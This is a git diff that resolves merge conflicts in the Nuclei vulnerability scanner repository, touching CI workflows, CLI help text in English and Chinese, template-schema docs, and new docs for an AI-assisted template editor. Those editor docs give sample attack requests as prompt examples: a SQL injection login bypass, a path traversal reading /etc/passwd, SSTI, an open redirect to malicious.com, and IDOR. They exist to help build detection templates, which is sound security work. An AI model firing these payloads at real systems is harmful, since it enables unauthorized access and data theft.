resolve merge conflicts
4
.github/release.yml
vendored
@ -3,10 +3,10 @@ changelog:
|
||||
authors:
|
||||
- dependabot
|
||||
categories:
|
||||
- title: 🎉 Features
|
||||
- title: 🎉 New Features
|
||||
labels:
|
||||
- "Type: Enhancement"
|
||||
- title: 🐞 Bugs
|
||||
- title: 🐞 Bug Fixes
|
||||
labels:
|
||||
- "Type: Bug"
|
||||
- title: 🔨 Maintenance
|
||||
|
||||
36
.github/workflows/performance-test.yaml
vendored
Normal file
@ -0,0 +1,36 @@
|
||||
name: 🔨 Performance Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
# Weekly
|
||||
- cron: '0 0 * * 0'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Test Performance
|
||||
strategy:
|
||||
matrix:
|
||||
go-version: [1.20.x]
|
||||
os: [ubuntu-latest, macOS-latest]
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: ${{ matrix.go-version }}
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Mod hygine
|
||||
run: |
|
||||
go clean -modcache
|
||||
go mod tidy
|
||||
working-directory: v2/
|
||||
|
||||
# Max GH exection time 6H => timeout after that
|
||||
- name: Running performance with big list
|
||||
run: go run -race . -l ../functional-test/targets-150.txt
|
||||
working-directory: v2/cmd/nuclei/
|
||||
29
.github/workflows/release-test.yml
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
name: 🔨 Release Test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
release-test:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- name: "Check out code"
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.20.x
|
||||
|
||||
- name: release test
|
||||
uses: goreleaser/goreleaser-action@v4
|
||||
with:
|
||||
args: "release --clean --snapshot"
|
||||
version: latest
|
||||
workdir: v2/
|
||||
2
.gitignore
vendored
@ -1,5 +1,6 @@
|
||||
.idea
|
||||
.vscode
|
||||
.devcontainer
|
||||
v2/vendor
|
||||
v2/dist
|
||||
integration_tests/nuclei
|
||||
@ -16,3 +17,4 @@ v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
|
||||
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser
|
||||
*.exe
|
||||
v2/.gitignore
|
||||
*.DS_Store
|
||||
|
||||
@ -126,9 +126,9 @@ TEMPLATES:
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
|
||||
159
README_CN.md
@ -93,37 +93,40 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
|
||||
命令:
|
||||
目标:
|
||||
-u, -target string[] 指定扫描的URL/主机
|
||||
-l, -list string 指定需要扫描的URL/主机文件(一行一个)
|
||||
-resume string 断点续扫(将禁用集群)
|
||||
-u, -target string[] 指定扫描的目标URL/主机(多个目标则指定多个-u参数)
|
||||
-l, -list string 指定包含要扫描的目标URL/主机列表的文件路径(一行一个)
|
||||
-resume string 使用指定的resume.cfg文件恢复扫描(将禁用请求聚类)
|
||||
-sa, -scan-all-ips 扫描由目标解析出来的所有IP(针对域名对应多个IP的情况)
|
||||
-iv, -ip-version string[] 要扫描的主机名的IP版本(4,6)-(默认为4)
|
||||
|
||||
模板:
|
||||
-nt, -new-templates 只扫描最新版本中添加的模板
|
||||
-ntv, -new-templates-version string[] 运行在特定版本中添加的新模板
|
||||
-as, -automatic-scan 在自动web扫描中使用wappalyzer技术检测的指纹
|
||||
-t, -templates string[] 指定需要扫描的模板或者模板的路径(逗号分隔,文件)
|
||||
-nt, -new-templates 只扫描最新nuclei-templates版本中添加的模板
|
||||
-ntv, -new-templates-version string[] 运行在特定nuclei-templates版本中添加的新模板
|
||||
-as, -automatic-scan 在web扫描中使用wappalyzer技术检测的指纹找包含对应tags的模板
|
||||
-t, -templates string[] 指定需要扫描的模板文件或者模板目录(逗号分隔,文件)
|
||||
-tu, -template-url string[] 从URL加载模板(逗号分隔,文件)
|
||||
-w, -workflows string[] 指定扫描中的工作流或者工作流目录(逗号分隔,文件)
|
||||
-w, -workflows string[] 指定需要扫描中的工作流文件或者工作流目录(逗号分隔,文件)
|
||||
-wu, -workflow-url string[] 从URL加载工作流(逗号分隔,文件)
|
||||
-validate 验证通过的模板
|
||||
-nss, -no-strict-syntax 禁用模板的严格检查
|
||||
-validate 验证模板
|
||||
-nss, -no-strict-syntax 禁用对模板的严格语法检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
|
||||
过滤:
|
||||
-a, -author string[] 执行指定作者的模板(逗号分隔,文件)
|
||||
-tags string[] 执行有标记的模板子集(逗号分隔,文件)
|
||||
-etags, -exclude-tags string[] 执行标记为排除的模板(逗号分隔,文件)
|
||||
-itags, -include-tags string[] 执行默认或者配置排除的标记模板
|
||||
-id, -template-id string[] 执行指定ID的模板(逗号分隔,文件)
|
||||
-eid, -exclude-id string[] 执行排除指定ID的模板(逗号分隔,文件)
|
||||
-it, -include-templates string[] 执行默认或配置中排除的模板
|
||||
-et, -exclude-templates string[] 要排除的模板或者模板目录(逗号分隔,文件)
|
||||
-em, -exclude-matchers string[] 在结果中排除指定模板
|
||||
-s, -severity value[] 根据严重程度运行模板,可候选的值有:info,low,medium,high,critical
|
||||
-es, -exclude-severity value[] 根据严重程度排除模板,可候选的值有:info,low,medium,high,critical
|
||||
-pt, -type value[] 根据协议运行模板,可候选的值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] 根据协议排除模板,可候选的值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] 根据表达式运行模板
|
||||
-tags string[] 执行带指定tag的模板(逗号分隔,文件)
|
||||
-etags, -exclude-tags string[] 排除带指定tag的模板(逗号分隔,文件)
|
||||
-itags, -include-tags string[] 执行带有指定tag的模板,即使是被默认或者配置排除的模板
|
||||
-id, -template-id string[] 执行指定id的模板(逗号分隔,文件)
|
||||
-eid, -exclude-id string[] 排除指定id的模板(逗号分隔,文件)
|
||||
-it, -include-templates string[] 执行指定模板,即使是被默认或配置排除的模板
|
||||
-et, -exclude-templates string[] 排除指定模板或者模板目录(逗号分隔,文件)
|
||||
-em, -exclude-matchers string[] 排除指定模板matcher
|
||||
-s, -severity value[] 根据严重程度运行模板,可选值有:info,low,medium,high,critical
|
||||
-es, -exclude-severity value[] 根据严重程度排除模板,可选值有:info,low,medium,high,critical
|
||||
-pt, -type value[] 根据类型运行模板,可选值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] 根据类型排除模板,可选值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] 根据表达式运行模板
|
||||
|
||||
|
||||
输出:
|
||||
@ -132,40 +135,51 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-srd, -store-resp-dir string 将nuclei的所有请求和响应输出到指定目录(默认:output)
|
||||
-silent 只显示结果
|
||||
-nc, -no-color 禁用输出内容着色(ANSI转义码)
|
||||
-j, -jsonl 输出为jsonL(ines)
|
||||
-irr, -include-rr 在JSONL中输出对应的请求和相应(仅结果)
|
||||
-or, -omit-raw
|
||||
-nm, -no-meta 不显示匹配的元数据
|
||||
-nts, -no-timestamp 不在输出中显示时间戳
|
||||
-rdb, -report-db string 本地的Nuclei结果数据库(始终使用该数据库保存结果)
|
||||
-j, -jsonl 输出格式为jsonL(ines)
|
||||
-irr, -include-rr 在JSON、JSONL和Markdown中输出请求/响应对(仅结果)[已弃用,使用-omit-raw替代]
|
||||
-or, -omit-raw 在JSON、JSONL和Markdown中不输出请求/响应对
|
||||
-nm, -no-meta 在cli输出中不打印元数据
|
||||
-ts, -timestamp 在cli输出中打印时间戳
|
||||
-rdb, -report-db string 本地的nuclei结果数据库(始终使用该数据库保存结果)
|
||||
-ms, -matcher-status 显示匹配失败状态
|
||||
-me, -markdown-export string 以markdown导出结果
|
||||
-se, -sarif-export string 以SARIF导出结果
|
||||
-me, -markdown-export string 以markdown格式导出结果
|
||||
-se, -sarif-export string 以SARIF格式导出结果
|
||||
-je, -json-export string 以JSON格式导出结果
|
||||
-jle, -jsonl-export string 以JSONL(ine)格式导出结果
|
||||
|
||||
|
||||
配置:
|
||||
-config string 指定Nuclei的配置文件
|
||||
-config string 指定nuclei的配置文件
|
||||
-fr, -follow-redirects 为HTTP模板启用重定向
|
||||
-fhr, -follow-host-redirects 在同一主机上重定向
|
||||
-fhr, -follow-host-redirects 允许在同一主机上重定向
|
||||
-mr, -max-redirects int HTTP模板最大重定向次数(默认:10)
|
||||
-dr, -disable-redirects 为HTTP模板禁用重定向
|
||||
-rc, -report-config string 指定Nuclei报告模板文件
|
||||
-H, -header string[] 指定header、cookie,以header:value的方式(cli,文件)
|
||||
-V, -var value 通过key=value指定var值
|
||||
-r, -resolvers string 指定Nuclei的解析文件
|
||||
-sr, -system-resolvers 当DNS错误时使用系统DNS
|
||||
-passive 启用被动扫描处理HTTP响应
|
||||
-ev, env-vars 在模板中使用环境变量
|
||||
-rc, -report-config string 指定nuclei报告模板文件
|
||||
-H, -header string[] 指定在所有http请求中包含的自定义header、cookie,以header:value的格式指定(cli,文件)
|
||||
-V, -var value 以key=value格式自定义变量
|
||||
-r, -resolvers string 指定包含DNS解析服务列表的文件
|
||||
-sr, -system-resolvers 当DNS错误时使用系统DNS解析服务
|
||||
-dc, -disable-clustering 关闭请求聚类功能
|
||||
-passive 启用被动模式处理本地HTTP响应数据
|
||||
-fh2, -force-http2 强制使用http2连接
|
||||
-ev, env-vars 启用在模板中使用环境变量
|
||||
-cc, -client-cert string 用于对扫描的主机进行身份验证的客户端证书文件(PEM 编码)
|
||||
-ck, -client-key string 用于对扫描的主机进行身份验证的客户端密钥文件(PEM 编码)
|
||||
-ca, -client-ca string 用于对扫描的主机进行身份验证的客户端证书颁发机构文件(PEM 编码)
|
||||
-sml, -show-match-line 显示文件模板的匹配值,只适用于提取器
|
||||
-ztls 对ztls自动退回到tls13
|
||||
-ztls 使用ztls库,带有自动回退到标准库tls13 [已弃用] 默认情况下启用对ztls的自动回退
|
||||
-sni string 指定tls sni的主机名(默认为输入的域名)
|
||||
-i, -interface string 指定网卡
|
||||
-sip, -source-ip string 指定源IP
|
||||
-config-directory string 重写默认配置路径($home/.config)
|
||||
-lfa, -allow-local-file-access 允许访问本地文件(payload文件)
|
||||
-lna, -restrict-local-network-access 阻止对本地/私有网络的连接
|
||||
-i, -interface string 指定用于网络扫描的网卡
|
||||
-at, -attack-type string payload的组合模式(batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 指定用于网络扫描的源IP
|
||||
-config-directory string 覆盖默认配置路径($home/.config)
|
||||
-rsr, -response-size-read int 最大读取响应大小(默认:10485760字节)
|
||||
-rss, -response-size-save int 最大储存响应大小(默认:10485760字节)
|
||||
-rss, -response-size-save int 最大储存响应大小(默认:1048576字节)
|
||||
-reset 删除所有nuclei配置和数据文件(包括nuclei-templates)
|
||||
-tlsi, -tls-impersonate 启用实验性的Client Hello(ja3)TLS 随机化功能
|
||||
|
||||
|
||||
交互:
|
||||
-inserver, -ineractsh-server string 使用interactsh反连检测平台(默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
@ -176,6 +190,21 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-interactions-cooldown-period int 退出轮询前的等待时间(默认为5秒)
|
||||
-ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板
|
||||
|
||||
|
||||
模糊测试:
|
||||
-ft, -fuzzing-type string 覆盖模板中设置的模糊测试类型(replace、prefix、postfix、infix)
|
||||
-fm, -fuzzing-mode string 覆盖模板中设置的模糊测试模式(multiple、single)
|
||||
|
||||
|
||||
UNCOVER引擎:
|
||||
-uc, -uncover 启动uncover引擎
|
||||
-uq, -uncover-query string[] uncover查询语句
|
||||
-ue, -uncover-engine string[] 指定uncover查询引擎 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (默认 shodan)
|
||||
-uf, -uncover-field string 查询字段 (ip,port,host) (默认 "ip:port")
|
||||
-ul, -uncover-limit int 查询结果数 (默认 100)
|
||||
-ur, -uncover-ratelimit int 查询速率,默认每分钟60个请求(默认 60)
|
||||
|
||||
|
||||
限速:
|
||||
-rl, -rate-limit int 每秒最大请求量(默认:150)
|
||||
-rlm, -rate-limit-minute int 每分钟最大请求量
|
||||
@ -196,13 +225,16 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-project-path string 设置特定的项目文件夹
|
||||
-spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑)
|
||||
-stream 流模式 - 在不整理输入的情况下详细描述
|
||||
-ss, -scan-strategy value 扫描时使用的策略(auto/host-spray/template-spray) (默认 auto)
|
||||
-irt, -input-read-timeout duration 输入读取超时时间(默认:3分钟)
|
||||
-nh, -no-httpx 禁用对非URL输入进行httpx探测
|
||||
-no-stdin 禁用标准输入
|
||||
|
||||
无界面浏览器:
|
||||
-headless 启用需要无界面浏览器的模板
|
||||
-page-timeout int 在无界面下超时秒数(默认:20)
|
||||
-sb, -show-brower 在无界面浏览器运行模板时,显示浏览器
|
||||
-ho, -headless-options string[] 使用附加选项启动无界面浏览器
|
||||
-sc, -system-chrome 不使用Nuclei自带的浏览器,使用本地浏览器
|
||||
-lha, -list-headless-action 列出可用的无界面操作
|
||||
|
||||
@ -216,26 +248,51 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-tlog, -trace-log string 写入跟踪日志到文件
|
||||
-elog, -error-log string 写入错误日志到文件
|
||||
-version 显示版本信息
|
||||
-hm, -hang-monitor 启用Nuclei的监控
|
||||
-hm, -hang-monitor 启用对nuclei挂起协程的监控
|
||||
-v, -verbose 显示详细信息
|
||||
-profile-mem string 将Nuclei的内存转储成文件
|
||||
-vv 显示额外的详细信息
|
||||
-svd, -show-var-dump 显示用于调试的变量输出
|
||||
-ep, -enable-pprof 启用pprof调试服务器
|
||||
-tv, -templates-version 显示已安装的模板版本
|
||||
-hc, -health-check 运行诊断检查
|
||||
|
||||
升级:
|
||||
-update 更新Nuclei到最新版本
|
||||
-up, -update 更新Nuclei到最新版本
|
||||
-ut, -update-templates 更新Nuclei模板到最新版
|
||||
-ud, -update-directory string 覆盖安装模板
|
||||
-duc, -disable-update-check 禁用更新
|
||||
-ud, -update-template-dir string 指定模板目录
|
||||
-duc, -disable-update-check 禁用nuclei程序与模板更新
|
||||
|
||||
统计:
|
||||
-stats 显示正在扫描的统计信息
|
||||
-sj, -stats-json 将统计信息以JSONL格式输出到文件
|
||||
-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)
|
||||
-m, -metrics 显示Nuclei端口信息
|
||||
-mp, -metrics-port int 更改Nuclei默认端口(默认:9092)
|
||||
-m, -metrics 开启metrics服务
|
||||
-mp, -metrics-port int 更改metrics服务的端口(默认:9092)
|
||||
|
||||
云服务:
|
||||
-cloud 在nuclei云上运行扫描
|
||||
-ads, -add-datasource string 添加指定的数据源(s3、github)
|
||||
-atr, -add-target string 向云中添加目标
|
||||
-atm, -add-template string 向云中添加模板
|
||||
-lsn, -list-scan 列出先前的云扫描
|
||||
-lso, -list-output string 按扫描ID列出扫描输出
|
||||
-ltr, -list-target 按ID列出云目标
|
||||
-ltm, -list-template 按ID列出云模板
|
||||
-lds, -list-datasource 按ID列出云数据源
|
||||
-lrs, -list-reportsource 列出报告源
|
||||
-dsn, -delete-scan string 按ID删除云扫描
|
||||
-dtr, -delete-target string 从云中删除目标
|
||||
-dtm, -delete-template string 从云中删除模板
|
||||
-dds, -delete-datasource string 删除指定的数据源
|
||||
-drs, -disable-reportsource string 禁用指定的报告源
|
||||
-ers, -enable-reportsource string 启用指定的报告源
|
||||
-gtr, -get-target string 按ID获取目标内容
|
||||
-gtm, -get-template string 按ID获取模板内容
|
||||
-nos, -no-store 禁用云上的扫描/输出存储
|
||||
-no-tables 不显示漂亮打印的表格
|
||||
-limit int 限制要显示的输出数量(默认 100)
|
||||
|
||||
```
|
||||
|
||||
### 运行Nuclei
|
||||
|
||||
@ -492,6 +492,35 @@ description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>impact</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Impact of the template.
|
||||
|
||||
You can go in-depth here on impact of the template.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
|
||||
```
|
||||
|
||||
```yaml
|
||||
impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@ -2421,6 +2450,35 @@ Inputs contains inputs for the network socket
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>port</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
Port is the port to send network requests to. this acts as default port but is overriden if target/input contains
|
||||
non-http(s) ports like 80,8080,8081 etc
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>exclude-ports</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
ExcludePorts is the list of ports to exclude from being scanned . It is intended to be used with `Port` field and contains a list of ports which are ignored/skipped
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>read-size</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
|
||||
265
docs/editor/ai.mdx
Normal file
@ -0,0 +1,265 @@
|
||||
---
|
||||
|
||||
title: 'AI Assistance'
|
||||
|
||||
---
|
||||
|
||||
<img src="/images/ai.jpg" alt="AI Prompt" width="800px"/>
|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh/) has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering you usage tips and examples.
|
||||
|
||||
## Overview
|
||||
|
||||
Powered by public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user's prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.
|
||||
|
||||
---
|
||||
|
||||
## Initial Setup
|
||||
|
||||
Kick start your AI Assistance experience with these steps:
|
||||
|
||||
1. **Provide Detailed Information**: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
|
||||
2. **Understand the Template Format**: Get to grips with the format to appropriately handle and modify the generated template.
|
||||
3. **Validation and Linting**: Utilize the integrated linter to guarantee the template's validity.
|
||||
4. **Test the Template**: Evaluate the template against a test target ensuring its accuracy.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
* **Precision Matters**: Detailed prompts yield superior templates.
|
||||
* **Review and Validate**: Consistently check matchers' accuracy.
|
||||
* **Template Verification**: Validate the template on known vulnerable targets before deployment.
|
||||
---
|
||||
|
||||
## Example Prompts
|
||||
|
||||
The following examples demonstrate different vulnerabilities and the corresponding Prompt.
|
||||
|
||||
<Accordion title="Vulnerability: Open Redirect">
|
||||
|
||||
Open redirect vulnerability identified in a web application. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
GET /redirect?url=http://malicious.com HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 302 Found
|
||||
Location: http://malicious.com
|
||||
Content-Length: 0
|
||||
Server: Apache
|
||||
```
|
||||
The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: SQL Injection">
|
||||
|
||||
SQL Injection vulnerability in a login form. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=admin&password=' OR '1'='1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome back, admin</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (negative cart balance)">
|
||||
|
||||
Business Logic vulnerability in a web application's shopping cart function allows for negative quantities, leading to credit. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /add-to-cart HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
product_id=1001&quantity=-1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Product added to cart. Current balance: -$19.99</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Server-side Template Injection (SSTI)">
|
||||
|
||||
Server-side Template Injection (SSTI) vulnerability through a web application's custom greeting card function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /create-card HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
message={{7*7}}
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Your card: 49</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application processes the message parameter as a template, leading to an SSTI vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Insecure Direct Object Reference (IDOR)">
|
||||
|
||||
Insecure Direct Object Reference (IDOR) vulnerability discovered in a website's user profile page. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /profile?id=2 HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome, otheruser</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Path Traversal">
|
||||
|
||||
Path Traversal vulnerability identified in a web application's file download function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /download?file=../../etc/passwd HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 1827
|
||||
Server: Apache
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (extend VIP subscription)">
|
||||
|
||||
Business logic vulnerability in a web application's VIP subscription function allows users to extend the trial period indefinitely. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /extend-trial HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
|
||||
<p>Your VIP trial period has been extended by 7 days.</p>
|
||||
|
||||
</html>
|
||||
```
|
||||
|
||||
The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
|
||||
|
||||
---
|
||||
43
docs/editor/introduction.mdx
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||

|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh) is a multi-functional cloud hosted tool designed for creating, running, and sharing Nuclei Templates. It's packed with helpful features for individual and professional users seeking to manage and execute templates.
|
||||
|
||||
The following table showcases the current and upcoming features:
|
||||
|
||||
| Feature | Description and Use | Availability |
|
||||
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
|
||||
| **Editor** | Experience something akin to using VS Code with our integrated editor, built on top of Monaco. This feature allows easy writing and modification of Nuclei Templates. | Free |
|
||||
| **Optimizer** | Leverage the in-built TemplateMan API to automatically lint, format, validate, and enhance your Nuclei Templates. | Free |
|
||||
| **Scan (URL)** | Run your templates on a targeted URL to check their validity. | Free \* |
|
||||
| **Debugger** | Utilize the in-built debugging function that displays requests and responses of your template scans, aiding troubleshooting and understanding template behavior. | Free |
|
||||
| **Cloud Storage** | Store and access your Nuclei Templates securely anytime, anywhere using your account. | Free |
|
||||
| **Sharing** | Share your templates for better collaboration by generating untraceable unique links. | Free |
|
||||
| **AI-Assistance** | Employ AI to craft Nuclei Templates based on the context of specified vulnerabilities. This feature simplifies template creation and tailors them to minimize the time required for creation. | Free \* |
|
||||
| **Scan (LIST, CIDR, ASN)**| In the professional version, run scans on target lists, network ranges (CIDR), AS numbers (ASN). | Professional `(upcoming)` |
|
||||
| **REST API** | In the professional version, fetch templates, call the AI, and perform scans remotely using APIs. | Professional `(upcoming)` |
|
||||
| **PDCP Sync** | Sync your generated templates with the ProjectDiscovery Cloud Platform for easy access and management, available in the professional version. | Professional `(upcoming)` |
|
||||
|
||||
## Free Feature Limitations
|
||||
|
||||
Some features available within the free tier have usage caps in place:
|
||||
|
||||
- **Scan (URL):** You're allowed up to **100** scans daily.
|
||||
- **AI-Assistance:** Up to **10** queries can be made each day.
|
||||
|
||||
The limitations, reset daily, ensure system integrity and availability while providing access to key functions.
|
||||
|
||||
***
|
||||
## How to Get Started
|
||||
|
||||
Begin by ensuring you have an account. If not, sign up on [https://templates.nuclei.sh](https://templates.nuclei.sh/) and follow the steps below:
|
||||
|
||||
1. Log in to your account at [https://templates.nuclei.sh](https://templates.nuclei.sh).
|
||||
2. Click on the "**Create new template**" button to open up a fresh editor.
|
||||
3. Write and modify your template. The editor avails tools like syntax highlighting, snippet suggestion, among other features to simplify your writing process.
|
||||
4. Having written your template, input your testing target and click the "**Scan**" button to authenticate your template's accuracy.
|
||||
|
||||
<iframe src="https://templates.nuclei.sh/public/CVE-2023-0297" width="700px" height="700px"></iframe>
|
||||
23
docs/editor/share.mdx
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
title: 'Template Share'
|
||||
---
|
||||
|
||||
Nuclei Template Editor offers the ability to share any public templates, including the ones you create.
|
||||
|
||||
<img src="/images/share-template.jpg" alt="Share Template" width="800px" />
|
||||
|
||||
